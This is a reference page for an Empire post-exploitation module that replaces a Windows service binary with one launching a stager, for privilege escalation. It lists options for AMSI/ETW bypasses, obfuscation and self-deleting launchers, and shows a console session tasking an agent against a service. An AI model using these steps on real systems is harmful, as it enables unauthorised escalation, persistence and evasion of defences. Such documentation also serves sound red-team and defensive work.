Install-ServiceBinary - Empire Module

This page contains detailed information about how to use the powershell/privesc/powerup/service_exe_stager Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

---

Name: Install-ServiceBinary
Module: powershell/privesc/powerup/service_exe_stager
Source code [1]: empire/server/modules/powershell/privesc/powerup/service_exe_stager.yaml
Source code [2]: empire/server/modules/powershell/privesc/powerup/service_exe_stager.py
MITRE ATT&CK: T1087, T1038, T1031, T1034, T1057, T1012, S0194
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: Yes

The service_exe_stager module backs up a service's binary and replaces the original with a binary that launches a stager.bat.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the service_exe_stager module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

---

This is a list of options that are required by the service_exe_stager module:

Agent
Agent to run module on.

Listener
Listener to use.

ServiceName
The service name to manipulate.

Additional Module Options

---

This is a list of additional options that are supported by the service_exe_stager module:

Bypasses
Bypasses as a space separated list to be prepended to the launcher.
Default value: mattifestation etw.

Delete
Switch. Have the launcher.bat delete itself after running.
Default value: True.

Obfuscate
Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.
Default value: False.

ObfuscateCommand
The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
Default value: Token\All\1.

Proxy
Proxy to use for request (default, none, or other).
Default value: default.

ProxyCreds
Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
Default value: default.

UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.

Service_exe_stager Example Usage

---

Here's an example of how to use the service_exe_stager module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/privesc/powerup/service_exe_stager

 Author       @harmj0y                                                            
 Background   True                                                                
 Comments     https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp  
 Description  Backs up a service's binary and replaces the original with a binary 
              that launches a stager.bat.                                         
 Language     powershell                                                          
 Name         powershell/privesc/powerup/service_exe_stager                       
 NeedsAdmin   False                                                               
 OpsecSafe    False                                                               
 Software     http://attack.mitre.org/software/S0194                              
 Techniques   http://attack.mitre.org/techniques/T1087                            
              http://attack.mitre.org/techniques/T1038                            
              http://attack.mitre.org/techniques/T1031                            
              http://attack.mitre.org/techniques/T1034                            
              http://attack.mitre.org/techniques/T1057                            
              http://attack.mitre.org/techniques/T1012                            


,Record Options----,--------------------,----------,-------------------------------------,
| Name             | Value              | Required | Description                         |
|------------------|--------------------|----------|-------------------------------------|
| Agent            |                    | True     | Agent to run module on.             |
|------------------|--------------------|----------|-------------------------------------|
| Bypasses         | mattifestation etw | False    | Bypasses as a space separated list  |
|                  |                    |          | to be prepended to the launcher.    |
|------------------|--------------------|----------|-------------------------------------|
| Delete           | True               | False    | Switch. Have the launcher.bat       |
|                  |                    |          | delete itself after running.        |
|------------------|--------------------|----------|-------------------------------------|
| Listener         |                    | True     | Listener to use.                    |
|------------------|--------------------|----------|-------------------------------------|
| Obfuscate        | False              | False    | Switch. Obfuscate the launcher      |
|                  |                    |          | powershell code, uses the           |
|                  |                    |          | ObfuscateCommand for obfuscation    |
|                  |                    |          | types. For powershell only.         |
|------------------|--------------------|----------|-------------------------------------|
| ObfuscateCommand | Token\All\1        | False    | The Invoke-Obfuscation command to   |
|                  |                    |          | use. Only used if Obfuscate switch  |
|                  |                    |          | is True. For powershell only.       |
|------------------|--------------------|----------|-------------------------------------|
| Proxy            | default            | False    | Proxy to use for request (default,  |
|                  |                    |          | none, or other).                    |
|------------------|--------------------|----------|-------------------------------------|
| ProxyCreds       | default            | False    | Proxy credentials                   |
|                  |                    |          | ([domain\]username:password) to use |
|                  |                    |          | for request (default, none, or      |
|                  |                    |          | other).                             |
|------------------|--------------------|----------|-------------------------------------|
| ServiceName      |                    | True     | The service name to manipulate.     |
|------------------|--------------------|----------|-------------------------------------|
| UserAgent        | default            | False    | User-agent string to use for the    |
|                  |                    |          | staging request (default, none, or  |
|                  |                    |          | other).                             |
'------------------'--------------------'----------'-------------------------------------'

(Empire: usemodule/powershell/privesc/powerup/service_exe_stager) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/privesc/powerup/service_exe_stager) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/powershell/privesc/powerup/service_exe_stager) > set ServiceName Updater
[*] Set ServiceName to Updater
(Empire: usemodule/powershell/privesc/powerup/service_exe_stager) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

---

• @harmj0y

References

---

• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/privesc/powerup/service_exe_stager.yaml
• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py
• https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
• http://attack.mitre.org/software/S0194
• http://attack.mitre.org/techniques/T1087
• http://attack.mitre.org/techniques/T1038
• http://attack.mitre.org/techniques/T1031
• http://attack.mitre.org/techniques/T1034
• http://attack.mitre.org/techniques/T1057
• http://attack.mitre.org/techniques/T1012

See Also

---

Check also the following modules related to this module:

• powershell/privesc/powerup/service_exe_useradd
• powershell/privesc/powerup/service_stager
• powershell/privesc/powerup/service_exe_restore
• powershell/privesc/powerup/service_useradd
• powershell/privesc/powerup/write_dllhijacker
• powershell/privesc/powerup/find_dllhijack
• powershell/privesc/powerup/allchecks
• powershell/situational_awareness/network/get_kerberos_service_ticket
• powershell/lateral_movement/invoke_psexec
• powershell/code_execution/invoke_metasploitpayload
• powershell/code_execution/invoke_ntsd
• powershell/code_execution/invoke_shellcodemsil
• powershell/code_execution/invoke_assembly
• powershell/code_execution/invoke_reflectivepeinjection
• powershell/code_execution/invoke_ironpython
• powershell/code_execution/invoke_clearscript
• powershell/code_execution/invoke_dllinjection
• powershell/code_execution/invoke_ironpython3
• powershell/code_execution/invoke_shellcode
• powershell/code_execution/invoke_ssharp
• powershell/code_execution/invoke_boolang
• powershell/collection/get_indexed_item
• powershell/lateral_movement/invoke_executemsbuild
• powershell/lateral_movement/invoke_smbexec
• python/code_execution/powershell_execution

Version

---

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.